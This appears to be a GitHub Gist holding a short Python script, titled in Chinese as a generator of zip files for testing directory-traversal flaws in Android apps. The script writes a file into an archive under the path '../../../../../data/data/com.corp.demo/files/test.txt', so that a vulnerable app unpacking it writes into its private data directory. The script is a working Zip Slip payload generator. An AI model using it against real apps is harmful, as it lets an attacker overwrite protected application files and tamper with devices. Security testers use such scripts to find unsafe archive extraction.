Skip to content

Instantly share code, notes, and snippets.

@Oritz
Created January 17, 2017 06:09
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Oritz/83e5cf6d8c6d887d9c089c83420f1e5c to your computer and use it in GitHub Desktop.
Save Oritz/83e5cf6d8c6d887d9c089c83420f1e5c to your computer and use it in GitHub Desktop.
生成测试安卓程序目录穿越漏洞的 zip 压缩文件
import zipfile
import sys
if __name__ == "__main__":
try:
with open("test.txt", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("../../../../../data/data/com.corp.demo/files/test.txt", binary)
zipFile.close()
except IOError as e:
raise e
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment